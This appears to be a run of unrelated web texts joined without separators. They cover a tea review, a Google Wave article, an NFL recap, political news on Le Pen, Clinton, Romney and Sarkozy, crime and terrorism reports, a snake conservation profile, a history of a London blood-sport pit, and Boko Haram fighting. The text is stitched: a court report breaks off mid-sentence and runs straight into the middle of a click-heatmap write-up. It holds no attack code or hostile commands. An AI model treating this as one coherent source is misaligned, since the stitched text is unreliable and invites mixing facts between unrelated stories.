Not too long ago, Yunnan Sourcing posted two 2017 Menghai mini tongs of sheng and shou puer. Fortunately for me, I was able to acquire an ultra mini tong of sheng puer! This mini tong includes seven mini coins (weighing around 7-8g each) which are pressed into the yin and yang shape. These coins are supposedly great for brewing whole or breaking apart to be brewed for a mini session. Since this tea is mini, I thought ‘why the hell not’ and decided to split my coin apart for a mini session. So is this tea as fun as it looks? Let's dive right in!
Tong Price - $11.50
Steeping Parameters - Half a coin (4g) for a 60ml gaiwan
Brewing Water Temperature - 185º
Steeps 1 - 4
At first, this mini coin gave off a light grassy tasting note, which held a light fruity aftertaste on the tongue. After a few more steeps, the grassy tasting note became stronger and thicker, as a light medicinal tasting note began to make itself known. This tea had a light sweetness that seemed to linger in the mouth.
Steeps 5 - 8
The grassy tasting note began to transform into a hay-like tasting note which left a stronger medicinal aftertaste in the back of the throat. After another few steeps, the fruitiness began to slowly disappear behind a broth-like texture that continued to develop. By the end of the eight steep, the fruitiness was gone and the tea started to taste a little musky.
Steeps 9 - 12
The mini coin’s texture was full-on broth and was more powerful than before. It was so broth-like that it was almost meaty. Anyways, the medicinal tasting notes were strong, as the musky body became heavier and heavier; It could almost be described a light smokiness. By the end of the twelfth infusion, this mini coin was full-broth and was no longer a tea. It was time to say goodbye and end the session here…
Conclusion
Yunnan Sourcing posted an ultra mini tong of sheng and shou puer, and fortunately for me, I was able to come across the mini tong of sheng. One thing I liked about the mini tong of sheng is that its tasting notes kept changing throughout the session, as this coin had more than two faces. Another thing I liked about this coin was that it was heavy in texture, and yet, easy to drink. One aspect about these coins is that they’re pretty easy to break apart for single-brewing, and the material was very clean. However, despite this tea’s size, it was easy to make a lot of tea dust, which could make this session incredibly strong early on in a session.
These mini tongs posted by Yunnan Sourcing are as unique as they are fun, and they have a lot of strength too. Personally, I didn’t feel much energy from these coins. However, they were strong in the mouth and very fun to brew. Overall, this was a new experience, and for around $10.00, you now have an excuse to say that you own a tongs worth of tea…
disclaimer - This tea was sent to me by Yunnan Sourcing for review. Although this tea was sent to me, this review was not paid for, and wasn't shown any mercy when reviewing ;)Without a doubt, the product that has the entire web buzzing right now is Google Wave, the search giant's newly announced communication platform. Earlier this week, we brought you detailed information on the new Google product in our article Google Wave: A Complete Guide, but now we want to explore exactly why everyone is so excited about Google Wave.
You've probably heard people talk about Google Wave being a game-changer, a disruptive product, or maybe even as an email killer. But while keywords and phrases like these grab people's attention, they don't explain why or how Google Wave could be a paradigm-shifter. In this article, we explore these questions by highlighting some of Google Wave's most unique and promising features. By exploring these features, we can better understand the potential of this new technology.
1. Wiki-style functionality
The feature: While Google Wave works a lot like email or IM, there is a huge difference: you can edit not only your messages, but the messages of anybody within your wave. You can reply to messages within a conversation string and reorganize conversations.
Why it's game-changing: There was a perfect example of how this changes communication during Google's demo of the product. A group of people are trying to plan a group dinner, and want to see who can come or not. In email, you have a string of emails with yes or no, which can get messy.
In Wave, you can edit the original message with a section with who can or cannot go. Replies can be made within a conversation string, rather than at the end, making conversations a great deal easier to track.
2. Wave Extensions
The feature: Wave extensions are 3rd-party improvements or applications within Google Wave. There are two types: gadgets and robots. Gadgets are just like Facebook applications, so you can run an app like an online game or a project management tool from within Wave. Robots are smart, automated conversation participants. They can detect keywords and respond, bring in outside information from services like Twitter, and more.
Why it's game-changing: It's game-changing just as the Facebook platform or the Twitter application boom has been paradigm-shifting for both companies. Imagine only needing to have Google Wave open to manage your Facebook, Twitter, project management, email, and even your video games. You can make Google Wave your all-in-one communication tool.
3. Drag-and-drop file uploads
The feature: In email, you have to search for files, and then attach them before sending. Then you need to open them up when you actually receive the email. Google Wave ignores that entire process by allowing users to drag files from the desktop and dropping them. Anyone can then see the files as they're being uploaded. Images are shown in an album format, music can be played, and docs can be quickly shared
Why it's game-changing: Drag-and-drop file uploads makes Google Wave not only a communication platform, but a useful project management system. Companies could use Google Wave as their communication and file-sharing platform. Combined with Wave Extensions, you could build an entire project management platform and time management system better than anything on the market.
4. Wave Embeds
The feature: Wave Embeds is just like what it says - you can embed any wave onto a website. Embeds can be customized and used for a multitude of purposes.
Why it's game-changing: Embedding is not only an easy way to share conversations with millions of people, but is in fact a way to replace a lot of forms of communication. Instead of a chatroom, you can add a Wave on your company's website and do customer service through it. Instead of static comments, imagine real-time conversations via Waves. Conversations are easily shared with embeds.
5. Playback
The feature: If you're added to an email conversation late into the game, it can be a pain to parse all of the back-and-forth within an email conversation. With Wave's playback feature, you can actually see how the entire conversation developed from the start, making it incredibly easy to catch up on conversations.
Why it's game-changing: Playback clarifies any conversation and makes it simple to get anyone up-to-speed. Instead of "check your email," it will become "just playback the wave" and you will have all the information that you need. You could get someone up-to-speed within minutes, rather than hours.
6. Open-source
The feature: Google Wave is not only extendable, but is an open-source project. This means two big things. First, developers can build their own version of Google Wave. Second, Google Wave can be hosted on your own server - just like an Exchange email server.
Why it's game-changing: You may not think of open-source as a feature, but this may be the most important aspect of Google Wave. Open-source code fosters innovation by allowing developers to improve and correct code. Developers have the freedom to create a Wave server for their company or to create a branded version of Wave.
Open-source is central to Google's strategy to foster quick adoption. And if people start using or even switching over to Google Wave, then it could very well be the game-changing communication tool that everyone has been waiting for.The Denver Broncos beat the Carolina Panthers tonight, 21-20, in a thrilling game that was marred by serial headhunting from the fearsome Broncos defense. Cam Newton led the Panthers to a 17-7 halftime lead with 111 passing yards, a rushing touchdown, and a passing touchdown. After the break, he only went 7-for-16 with a pick and 83 yards. This is because the Broncos got to him and mashed his face in every chance they got.
Newton looked good until early in the third quarter, when DeMarcus Ware got around the edge and sacked him straight into Von Miller. Newton hobbled to the sideline with an apparent right ankle injury, and he was a step slower after returning to the game. The replay also shows that Miller smashed his face into Newton’s and clearly jarred him with the hit. Later in the game, Brandon Marshall flew in on a defenseless Newton and went straight at his mouth. No penalty was called.
The most brutal hit, however, came courtesy of Darian Stewart, who flew into Cam’s brain as Shaq Barrett took him down by the ankles. Since Cam’s feeble throw didn’t clear the line of scrimmage, Stewart’s personal foul was offset and the hit was essentially free.
Your browser does not support HTML5 video tag.Click here to view original GIF
Newton stayed in the game despite the knock he’d just taken (there was never any real question that he wouldn’t) and guided the Panthers to within field goal range. After hitting the 50-yarder as Gary Kubiak iced him, Graham Gano then missed the follow-up shot wide left, allowing Trevor Siemian to escape with the win under rather dubious circumstances.
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When officials let the Broncos get away with that first hit, they set the game on slippery ground, as the Broncos were then incentivized to continue going at Newton’s dome. Newton managed to make all manner of plays when his offensive line afforded him sufficient time, so the Broncos set out to make the most of any chance they got. Unfortunately, this turned into repeat attempts to turn Cam Newton’s brain into jelly. If they were trying to knock him out of the game, they almost succeeded.
The stiffest test of the NFL’s concussion protocol will face is when a superstar takes a clear head injury late in a close game. Nobody wants to be responsible for costing the team a win by holding out a star, especially if that star is the most visible player in the league and he’s leading a late drive in a one-point game. The NFL’s new concussion policy (where teams improperly clearing players receive fines) is a better system in theory, but future-tense penalties don’t seem to have much of an effect. As long as any neutral arbiter is hamstrung by team doctors and players themselves, there won’t be any easy fix to scenarios such as Newton’s tonight. Everyone involved fucked up here, the Broncos most of all.GETTY Links between Le Pen and Putin are beginning to concern US officials
The National Front leader has allegedly asked for the money to bankroll her campaign to become France’s president next year from a bank which is believed to have close ties to Russian president Vladimir Putin. French media outlet Le Canard Enchaîné is reporting Le Pen’s Russian ties have prompted Mike Turner, a Republican on the House of Representatives' permanent select committee on intelligence, to urge US authorities to investigate the matter.
It's the mentality of KGB practice - you buy people and place your pawns, saying to yourself that they'll be useful at some point Cécome Vaissié
Le Pen’s party have openly admitted to taking foreign loans in the past following alleged difficulties in obtaining funding from French banks. The National Front figurehead is now believed to have turned to the First Czech Russian Bank (FCRB) in Moscow to help fund her bid to become France’s next leader. In a letter to the US Director of National Intelligence James Clapper, Turner noted the National Front party "publicly acknowledged that it had received a $9.8 million (£7.9m) loan from a Russian bank with links to the Kremlin, allegedly brokered by a sanctioned Russian Duma deputy, according to French press reporting.
Things you didn't know about Marine Le Pen Fri, May 5, 2017 Marine Le Pen is a French politician who is the president of the National Front, a national-conservative political party in France and one of its main political forces. Play slideshow AFP/Getty Images 1 of 10 Described as more democratic and republican than her nationalist father, she has led a movement of "de-demonization of the Front National" to detoxify it and soften its imageFor many Democrats, coming to terms with the unfortunate realities of the November election is still quite difficult, but new data shows that the argument many of the party's leaders have asserted — that Hillary Clinton lost because her base didn't turn out — doesn't add up. Clinton lost the election because she never had the support in the necessary places. What makes it sting more for Democrats is that Barack Obama did have that support during his campaigns, but this time around it went to Donald Trump.
Indeed, the voters who flipped from Obama to Trump in just four years have amassed 70 percent of the reason why Clinton lost the election, according to an analysis by the Democratic political firm Global Strategy Group. Matt Canter, the senior vice president of the firm, has delivered these reports to party operatives, congressman, senators and think-tank leaders in order to properly inform and educate the party on what exactly happened.
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“We have to make sure we learn the right lesson from 2016, that we don’t just draw the lesson that makes us feel good at night, make us sleep well at night,” Canter said, according to McClatchy.
McClatchy reported:
His firm’s conclusion is shared broadly by other Democrats who have examined the data, including senior members of Clinton’s campaign and officials at the Democratic data and analytics firm Catalist. (The New York Times, doing its own analysis, reached a similar conclusion.) Each group made its assessment by analyzing voter files, reports that show who voted in every state, and matching them to pre-existing data about the voters, including demographic information and prior vote history. Using this process, the groups have determined how people voted – in what amounts to the most comprehensive way to analyze the electorate short of a full-blown census.
This comes at a time when one poll shows that 67 percent of the public believes that the Democratic Party is out of touch with the concerns of most people. “This idea that Democrats can somehow ignore this constituency and just turn out more of our voters, the math doesn’t work,” Canter told McClatchy. “We have to do both.”
Clinton lost was unable to persuade working class white voters mainly because she didn't differ from the status-quo, and Trump was a candidate that ran on abolishing the establishment class, even though he was never actually going to anyways.
Now a super PAC that supported Clinton, Priorities USA, is attempting to restore the party. They released a poll last week with the help of Canter's firm that shows that Democrats are eager to have a strong turnout for the midterm elections.
"Officials with the group have preached in recent months that Democrats can both reach out to white working-class voters and their base with a strong message rooted in economic populism," McClatchy reported.
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But the Democrats still have no real leader at the moment, and have not taken positions that embrace a populist economic message, or true progressive values. Their last leader Obama is instead giving a $400,000 speech to a Wall Street firm, accentuating the fact that Democratic elites continue to remain out of touch with real American voters. But polls continue to show that Sen. Bernie Sanders, I-Vt., is the most popular politician in the country, but many Democrats haven't sided with Sanders' single-payer health care system even though it resonates with the majority of Americans.No Republican presidential candidate has ever captured victory without the help of Ohio. Mitt Romney's road to continuing that trend was hit with another uphill poll on Sunday.
A Columbus Dispatch survey shows the former Massachusetts governor trailing President Barack Obama by nine points, 51 percent to 42 percent. The Dispatch notes that this is the fifth recent poll showing Romney trailing by at least five points in the Buckeye State.
The Dispatch poll was conducted from Sept. 19-29, pulling in responses from a crop of 1,662 random voters, with a 2.2 percent margin of error. September's numbers show a stark contrast from August's Dispatch data, which had Obama and Romney knotted at 45 percent apiece right before the start of the Republican National Convention.
Romney took his pitch to Ohio this past week, with tax policy at the forefront of his speech to middle-class voters. The GOP hopeful has been fighting a fierce battle from a time perspective on the ground. His first Ohio office opened this past June, while Obama has had held a five-year presence in the state, dating back to his 2008 presidential run.Almost 70 years after going missing in action during World War II, an Iowa airman is finally coming home.
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Almost 70 years after going missing in action during World War II, an Iowa airman is finally coming home Thursday.Watch this storyThe family of Staff Sgt. Bobby Howard never thought they'd find out what happened to him until now.Howard's remains are scheduled to arrive from Honolulu at the Des Moines Airport on Thursday about 9 a.m. Family and friends will follow behind as the Patriot Guard escorts his remains to Moulton where he will later be buried.His funeral is Saturday at 11 a.m. in Moulton. Bobby's brother, Howard, said he believes a four-engine bomber will be doing a fly over at 11:15 a.m.For more than 50 years Harold Howard has sat outside the same house, on the same swing, wondering the same thing.“It’s kind of one of those things where a story starts and it never ends,” said Harold, Bobby’s half-brother.He wondered what happened to Bobby, a 21-year-old staff sergeant who went missing in World War II, never to be heard from again.Harold was only 10 years old when his brother disappeared.“Sat here for 69 years without any idea of what happened to him,” Harold said.But just this summer, Harold's life changed forever with one phone call.“It’s a relief finally knowing what really happened," he said.Harold learned that all these years, Bobby's remains were in Germany. He and four other crew members died when their plane went down during a bombing mission.The plane blew apart completely, leaving almost nothing left.After analyzing the crash site, the military even put together a detailed manual so Harold and his family could have answers to all the questions that have haunted them for six decades. “To bring that service member home, reunite them with their family and bring them to their home soil – it’s just an incredible feeling,” Col. Greg Hapgood said.“It’s kind of like finally knowing the end of the story. The rest of the story. That’s it,” Harold said.His family said they are grateful Bobby will be getting a funeral with full military honors, something he deserves.A suspect in the kidnapping and murder of three Israeli teens in the West Bank was arrested on July 11, it was released for publication on Tuesday. Hussam Kawasmeh was arrested at a relative's home in 'Anata near Jerusalem.
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Kawasmeh received funding for the terror attack from Hamas members in the Gaza Strip. He was arrested by Yamam, an elite counter-terror unit, following a tip from the Shin Bet.
After the discovery of the bodies of Gil-Ad Schaer, Eyal Yifrach, and Naftali Frenkel, the suspect left his home and went into hiding, relying on his family members, with the hope of reaching Jordan using forged documents.
Marwan Kawasmeh and Amar Abu-Eisha have yet to be caught. (Photo: AP)
During his interrogation he admitted that he led the cell that executed the attack – which included Marwan Kawasmeh and – who have yet to be captured. As leader of the group, Hossam raised the funds for the attack from Hamas operatives in Gaza.
He admitted to purchasing equipment, which he passed on to Marwan Kawasmeh.
The three murdered Israeli teens: Eyal Yifrach (left), Gil-ad Shaer (center), and Naftali Frenkel (right).
During his interrogation, it was discovered that after the murder, Marwan arrived at his home and the two drove to the plot of land – which Hossam had purchased two months earlier – where they had buried the bodies.
Hossam continued to help hide his two accomplices to the kidnap and murder.
Kawasmeh's involvement with the cell which conducted the kidnapping and murder was discovered through a government response on Tuesday regarding an appeal to the High Court of Justice against the demolition of the three terrorists' homes.
Israel noted that there is administrative evidence which points to the near certainty that the three executed the kidnap and murder but that it could not divulge details because two were still wanted.After multiple postings on Xplorers Facebook group page, I just had to get it! This is my first X-kit ever! I am very impressed by the build and quality parts. At first I didn't know what to expect but when that when I fired that first shot... my jaw dropped. I recommend this to anyone in my club here in Christchurch, New Zealand and to every Nerfer wanting a TRUE sniper!!! THANKS GUYS!!! KIA KAHA!
A true Nerf Sniper Blaster
The Xarrett doesn't just deliver what the Mega Centurion should have been doing as the advertised "Up to 100 feet", it actually fires up to easily 160-170ft parallel, and hit a target straight from 150ft! Had mine to play with this weekend and it was a total game changer! picked off a couple of guys from the 120-140ft range easy. It's amazing how consistent and straight this blaster flies. I would say the installation process was a bit more advanced than I'm used to (i'm more of a drop in and replace kind of guy) but Xplorer are always on call to help out. Even better to send in your Centurion in yourself and get it tuned for optimal performance. Got this kit as a pre-order for 200, but I'd still pay 300 for my next Xarrett kit. It's Xplorer's most elaborate and masterful piece yet!
YazinA 15-year-old Newark boy is dead and at least 11 others injured in two separate shootings within four hours Monday night in Brick City.
Officials with the Essex County Prosecutor's Office say Aziz Stewart, 15, of Newark, was one of eight shot shortly before 10 p.m. on Scheerer Avenue in the city's South Ward. He died later at University Hospital. The other three were injured. Their names, ages and genders were not released.
Four hours earlier, a shooting on Halsey Street in the city's downtown sent three men and one woman to University Hospital with non-life-threatening injuries. Their names and ages were not released.
The shootings come roughly one week after and roughly a month after crime reduction program.
So far this summer, there have been five murders in June and four in July, not including Monday's homicide, according to DeMaio. In May, the city witnessed at least four murders, including the.
At the scene Monday on Scheerer Avenue, witnesses told Patch they heard several gunshots and saw a dark-colored SUV flee the area shortly before 10 p.m.
Tom Zhu, who works at Fong's Chinese Restaurant on Bergen Street, around the corner from the shooting, said he was tending to customers when he heard several "bangs." He said he at first thought the noises were fireworks until police arrived.
In the downtown incident, police responded to the corner of Halsey Street and Branford Place shortly before 6 p.m. after receiving calls of "a male shot," according to Newark Detective Hubert Henderson. Upon arrival, officers found a man with a gunshot wound to the leg. He was transported to University Hospital.
Henderson said police later learned that three other people, two men and one woman, already were at University Hospital for gunshot wounds allegedly sustained while on Halsey Street. He said the woman was shot in the hand, but did not know where the other two men had been wounded.
Officials would not comment whether the shootings were gang or drug-related. Authorities said police have not identified motives or suspects in either incident.
This is a breaking news story. Check westward.patch.com for updates.Celebrating Forty Years of the Endangered Species Act: Eastern Indigo Snake
Scientific Name: Drymarchon corais couperi
Year Listed on the Endangered Species List: 1978
Endangered Species Listing Status: Threatened
Conservation Efforts and Partners:
In one example, partnerships were formed with Auburn University, Zoo Atlanta, The Orianne Society, Georgia Department of Wildlife Resources, Alabama Department of Conservation and Natural Resources and the U.S. Fish and Wildlife Service in 2009 to spearhead a captive breeding program. In 2011, captive Eastern Indigo snakes that had been reared at Zoo Atlanta were transferred to Auburn University for release into Alabama’s Conecuh National Forest.
Several other Association of Zoos and Aquariums accredited zoos are involved in captive breeding of Eastern Indigo Snakes and there is a formal AZA Animal Management Plan for the species as well.
Where Eastern Indigo Snakes Live:
Deserts, dunes, savannas, grasslands, forests and scrub forests in Florida, Alabama and Georgia.
What Eastern Indigo Snakes Eat:
Small mammals, frogs, lizards, fish, eggs, birds and other snakes.
How Long Eastern Indigo Snakes Live: 21 years
How We Can All Help Eastern Indigo Snakes:
Do not kill snakes just because they are snakes. Few snakes in the states where Eastern Indigo Snakes live are venomous. All snakes help control rodent populations.
Keep cats and dogs from roaming, as they may harass or kill wildlife.
Limit the use of pesticides.
Do not take a snake or any other animal from the wild unless you have been awarded the proper permits to do so.
Watch this video by the Cincinnati Zoo for lots of good information about the Eastern Indigo Snake:Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
A 49-year-old man spotted indulging in a sex act while driving naked along a busy motorway got carried away in a ‘messaging conversation’, a court heard.
Neal Marshall, of Strawberry Green, Whitby was seen by a HGV driver as he performed the sex act while driving his Ford Escort naked down the M56 in Chester.
The 49-year-old appeared before Chester magistrates charged with an act of outraging public decency after exposing himself on August 8.
Marshall, who was convicted of the same offence back in 2008 at Stafford Crown Court, was handed a 12 month community order and a 12 month supervision order during the hearing yesterday (Wednesday).
He was also ordered to pay £85 costs and a victim surcharge of £60.
The court heard how, on the afternoon of August 8, a HGV driver was driving on the M56 when he spotted Marshall steering his car while indecently touching himself.
He was naked and no one else was in the car.
Prosecuting, Rob Youd said the HGV driver took the vehicle’s number plate which the police then used to contact the driver. When interviewed by police Marshall answered no comment.
Defending, Adrian Evans, said the facts of the case were ‘bizarre’ but that Marshall had been engaged in a ‘messaging conversation’ and got ‘carried away’.
“This does not excuse his actions but it goes a way to explain why he was seen doing it,” said Mr Evans.
“He bitterly regrets his |
, but the ratios here are very different from overall ratios.
In the Big Eye in the same area as in Numbers chapter, there are 142 (4.08%) of the clicks, which is interestingly considerably more than with the overall amount (3.48%). It is not a big difference, but one would expect less clicks in that area on the subsequent clicks.
Let's draw some lines!
Some redditors told me about the rule of thirds and advised me to try and draw lines in thirds. Well, it fits quite nicely. Especially at the upper left part. And the eye being very near the thirds is pure coincidence. I just wrote some lines of text, and it ended up right over there. In the following image, I added lines at exact quarters of the lengths. As you can see, the center hotspot is slightly to the left and top. Interesting...
That's it folks!
Thanks for reading! I really enjoyed doing this project, I learned quite a lot of new things. I am really happy that people liked it. Also, this was my first reasonably big data to process, so I learned something new too.
I really loved to see all the patterns and interesting behavior, and I really enjoyed analyzing the data and writing this up. I hope you did enjoy reading it.
Ok, that's it. Thanks for reading once again, this analysis took longer than I wanted, so I hope it is worth it. I would really appreciate if you checked out my other projects at boltkey.cz Ok, that's it. Thanks for reading once again, this analysis took longer than I wanted, so I hope it is worth it.
Bonus: my clicks (BoltKey)
I clicked in total 50 times, and thought that I could display only my clicks. I obviously didn't read the text, and just clicked wherever without any thought. It was the fastest way to get to the heat map for me to just add another click in the past days of maintaining and analyzing this.So I've been having one of the worst days I've had in a long time dealing with some horrible people in work (I went on lunch in floods of tears). I was grumpy and had an awful headache and all I wanted to do was get in to bed and cry the rest of the day away.
I checked the post box on the way in the gate and lo and behold there was a parcel there...addressed to me! My mood instantly lifted with the excitement of getting the parcel, all the way from Belarus!
I got a lovely Minsk fridge magnet, a gorgeous little purple fairy and some amazing herbal tea which I've tried already and love! Even the box it came in is beautiful!
I couldn't have asked for a nicer gift Secret Santa, thank you so much! You really made my day so much better.Coordinates:
Billy, the celebrated rat-killing dog, circa 1823. Artist unknown.
The Westminster Pit was a well-known blood sport arena in nineteenth-century London, England. It reached a zenith of popularity between 1820 and 1830, and hosted such spectacles as dog-fighting, cock-fighting, bear-baiting, badger-baiting, monkey-baiting, and rat-baiting. A legal enterprise at the time, the Westminster Pit openly declared its activities,[1] ushering notoriety on the district in which it existed.
The Westminster Pit was located on Duck Lane, Orchard Street (since renamed St. Matthew's Street), and its dimensions were approximately 20 feet (6.1 m) by 18 feet (5.5 m).[1] The gallery was 3 feet (0.91 m) above the arena and was capable of containing 200 people – or, by report of William Pitt Lennox, "perhaps a greater number of less refractory persons, for the common run of spectators were so obstreperous and so agitated by various emotions, according to the amount of bets depending, and the various turns of the conflict, that a decent orderly person would feel himself much incommoded by a considerably less number."[1]
Prior to the beginning of matches, the stakes would be formalised and the dogs weighed. It was common in the Westminster Pit (and other venues like it) for cheating to occur, often by way of covering a dog with substances – such as acid or pepper – that would deter his opponent from biting him. For this reason, it was compulsory that all combatants be washed in water or milk, and a participant was permitted to lick his opponent's dog as a precaution.[2]
Perhaps the most famous dog to perform in the Westminster Pit was a Bull and Terrier named "Billy", whose fame was his rat-baiting ability. The October 1822 edition of The Sporting Magazine describes his feat of killing 100 rats in six minutes and twenty-five seconds: almost six minutes faster than what was wagered. Billy's best time ever is recorded as five minutes, or slightly over "by a very few seconds".[3] The name of Billy's owner is not consistently documented: some sources refer to a Charles Dew,[4] some to Charley Westropp,[5] and others to Charley Aistrop.[6] Pierce Egan gives Billy's date of death as 23 February 1829.[6] Later commentators have questioned the legitimacy of Billy's success; in particular, James Rodwell, in his 1858 The rat: its history & destructive character: With numerous anecdotes, stated: "let it be borne in mind, and I assert it on the testimony of living witnesses, that numbers of the rats were dead before the dog commenced, and that the whole had been poisoned with nux-vomica before being put into the pit... and when he did commence, several were thrown out as dead that were able to crawl away".[7]
In 1830, an indictment was lodged against the Westminster Pit by the Society for the Prevention of Cruelty to Animals. The Society charged the proprietor, John King, with a nuisance, while noting that it was "indebted to corporal Denny, of No. 17, Queen Square, Westminster, and to James Yewen, of No. 6, Horseferry Road, Westminster... for obtaining a sufficient number of witnesses, residing on the spot, to prove the case as a nuisance."[8] King was convicted, and, according to The Cottager's monthly visitor, "the prosecution completely suppressed that notorious sink of cruelty and vice".[9]
References [ edit ]A French judge has ordered that the phone of former President Nicholas Sarkozy be tapped as part of a probe on whether he took funds from ex-Libyan leader Colonel Gaddafi to help bankroll his 2007 election campaign, the French daily Le Monde reported.
The judge allegedly first ordered Sarkozy’s phone be tapped in April 2013, as well as the phones of two of his former ministers, Brice Hortefeux and Claude Gueant, the paper revealed Friday.
But someone involved in the investigation most likely tipped Sarkozy off, as he became extremely careful about using his official phone. He and his lawyer then acquired secret mobile phones, the paper claimed. Investigators eventually found out about them and ordered they also be bugged.
Last year, French judges launched an investigation over allegations that deposed Libyan leader Muammar Gadaffi gave money to Sarkozy’s 2007 presidential election campaign. The explosive allegation first emerged in 2011, after Sarkozy played a central role in ordering French armed forces to help topple Gadaffi’s regime.
Saif al-Islam, one of Gadaffi’s sons, claimed Libya helped finance the French president’s election campaign. In an interview with Euronews TV channel, Saif threatened to make public the details of the bank transfers after France played such an instrumental role in toppling his father. He also demanded that the French president return the money.
French investigative website Mediapart claimed in 2012 to have seen a confidential note suggesting that Gadaffi contributed 50 million euro to Sarkozy’s election fund in 2007. And in 2013, Ziad Takieddine, a hugely wealthy arms dealer with links to Britain, told French Judge Renaud Van Ruymbeke that he could supply paperwork proving the cash was paid between December 2006 and January 2007.
Le Monde also accused Gilbert Azibert, a prosecutor at France’s top appeals court, the Cour de Cassation, of secretly passing Sarkozy legal updates about a separate corruption scandal – the Bettencourt Affair. In return, France’s ex-president made sure Azibert was prompted to a top government job in Monaco.
In the Bettencourt case, Sarkozy was accused of receiving large campaign donations – which went unreported – from the heiress to the L’Oreal empire, Liliane Bettencourt. Investigators said that Sarkozy had taken advantage of 91-year-old Liliane, and that she was too frail to know what she was doing.
The charges were dropped in October 2013, but a further ten other people – including Sarkozy’s former campaign treasurer Eric Woerth – have been sent to trial over allegations that officials from Sarkozy’s UMP party received envelopes stuffed with cash from Bettencourt's bank accounts.
Judges at France's top court, the Cour de Cassation, are due to rule on March 11 whether seizures of Sarkozy’s agenda, diaries, and other documents during the course of the investigation into the Bettencourt Affair were legal.
The ruling on the handling of the Bettencourt case is crucial, says Le Monde, because it could have the potential to wreck yet another probe facing Sarkozy. Investigators want to build a case that the disgraced tycoon Bernard Tapie received a 400 million euro state bailout after the collapse of Credit Lyonnias Bank.
Sarkozy is suspected of rigging a settlement procedure to make sure Tapie got the cash as a 'thank you' for supporting him in the 2007 election. Tapie already has several corruption convictions, including one for match fixing when he was boss of Olympique Marseille football club.
The allegations in Le Monde come after lawyers representing Sarkozy and his wife Carla Bruni filed emergency legislation in a separate incident on Thursday against any further publication of leaked recordings, which reveal a range of compromising comments made by the ex-president while he was in office. Sarkozy and his wife’s emergency injunction will be heard on Monday.
With regard to the allegations published in Le Monde, Sarkozy’s lawyer, Thierry Herzog, said the accusations were fabricated.
“I will show in due course that this is a political issue,” he said, adding that Sarkozy’s phone calls are still being wiretapped.What to Know New Jersey teacher Jennifer Olawski raised more than $4,500 to gift each of the 500 students at Community Charter School of Paterson
The Spruce St. branch serves students in grades kindergarten through 4, and many come from families living below the federal poverty level
Olawski, 31, was inspirted to buy gifts for the kids last year after one student told her she wasn't expecting anything for Christmas
A New Jersey teacher has bought Christmas gifts for the entire school using donations from her online fundraiser, and she says next year will be "bigger and better."
Jennifer Olawski says she was inspired to buy gifts for the students at Community Charter School of Paterson last year after one student told her she wasn't expecting anything for Christmas.
Jennifer Olawski with students at Community Charter School of Paterson
Photo credit: Jennifer Olawski
The Spruce Street branch serves students in grades kindergarten through four, and school officials say many come from families living below the federal poverty level.
The 31-year-old says she raised about $2,500 last year. This year, she raised more than $4,500 to give each of the 500 students coloring books, slime kits and winter hats and gloves Monday.
Olawski says she is already collecting donations for next year online through GoFundMe.
Copyright Associated Press / NBC New York“We’re going through tough times as a country,” said Carlos Beltran, the designated hitter who has played in all four tournaments for Puerto Rico. “The fact that we’re uniting our people, everybody’s rooting for us and we’re playing such good baseball — hopefully we can finish this in a positive way.”
The same could be said for the tournament, which began in 2006 as an attempt by Major League Baseball to manufacture a World Cup-like event for the sport after it had been dropped from the Olympics. It is now played every four years.
Tournament attendance leading to the semifinals had increased by 24 percent, and Tuesday’s night semifinal drew a peak audience of 1.7 million on MLB Network, making it by far the network’s most watched nonplayoff game. Overall viewership for the W.B.C. is up by 21 percent over 2013.
More eye-catching, though, has been the atmosphere at the ballparks. Dominican fans took over Marlins Park in Miami, creating an earsplitting din that carried their team to a dramatic comeback win over the United States. Crowds in Seoul, Tokyo and Guadalajara, Mexico, were bouncing when the home team played. Even when ballparks have not been full, as in San Diego and Los Angeles, they have been full of life.
Japanese fans’ robust band, with its drums and horns, lent an air of “Friday Night Lights” to Dodger Stadium. And if Los Angeles fans are often impugned as fair-weathered, it is worth noting that virtually all of the 33,462 people who were there on Tuesday night sat through a persistent drizzle most of the game, with American fans making their presence felt with “U-S-A” chants.
“I’ve played in a lot of playoff games, and I think this is better,” said reliever Pat Neshek, who retired the Japanese slugger Yoshitomo Tsutsugoh on a fly ball with two runners aboard to end the eighth inning. “Of course, it’s March, which is crazy. You’re trying to get ready for the season.”
What remains to be seen is how far this coming around to the W.B.C. will extend. If the United States players often make a point of saying how proud they are to play for the country — one that has been eloquently made by Adam Jones, whose father and brother have served in the military — they have also had a couple of sore spots repeatedly exposed.Image copyright AP Image caption Thousands of extra soldiers have failed to quell the five-year insurgency
Some 480 Nigerian soldiers have crossed into Cameroon following fierce fighting with Boko Haram militants.
Reports claimed that the troops had joined thousands of citizens fleeing the fighting, but Nigeria said they were conducting a "tactical manoeuvre".
Clashes are said to be continuing in the border town of Gamboru Ngala.
Boko Haram on Sunday released a video claiming that it had established an Islamic state in the towns and villages it controls in north-eastern Nigeria.
The group's five-year insurgency has intensified in recent months despite the deployment of thousands of extra troops to the worst-affected areas.
Last week, a group of soldiers refused to follow orders to go and fight Boko Haram, saying the militants were better equipped.
Insurgents also seized one of Nigeria's two main police training academies, which is near the town of Gwoza, captured earlier this month.
Image copyright AFP Image caption Thousands have fled recent fighting - these people are now living in a school
The Nigerian soldiers were accommodated in the Cameroonian town of Maroua, about 80km (50 miles) from the Nigerian border, Cameroon army spokesman Lt Col Didier Badjek told the BBC.
The Nigerian defence ministry said in a statement that the soldiers found themselves "charging through the borders in a tactical manoeuvre" after a sustained battle.
The statement said it was standard practice for them to hand over their weapons and the soldiers are now returning home.
Thousands of civilians are also said to have fled across the border.
Cameroon has officially closed its 1,600 km border with Nigeria to help contain the spread of the deadly Ebola virus.
But correspondents say this is impossible to enforce in remote areas near the fighting.
Analysis: Tomi Oladipo, BBC News, Lagos
Nigeria will be keen to stress that its soldiers were not deserting, contrary to the initial Cameroonian account, when they crossed the border, to avoid fuelling the idea that the Nigerian army is weaker than the Boko Haram militants.
The question still remains whether the continuing violence in north-east Nigeria is a result of the failures of the Nigerian military as opposed to the strength of Boko Haram, considering there have been glaring problems in the equipping and deploying soldiers on the frontline.
There have been reports of mutinies within the army ranks and recently soldiers' wives protested at the deployment of their husbands, saying they were ill-equipped to fight the insurgents.
The Nigerian military has insisted its forces are up to the task but the fact that Boko Haram has been able to keep hold of Gwoza for some weeks now means residents of towns and villages across the north-east fear they could be next.
Boko Haram launched an attack on the police station and a military base in Gamboru Ngala at 05:30 local time (04:30 GMT), the AFP news agency reports.
In May, some 300 people were killed in an attack which left much of the town in ruins.
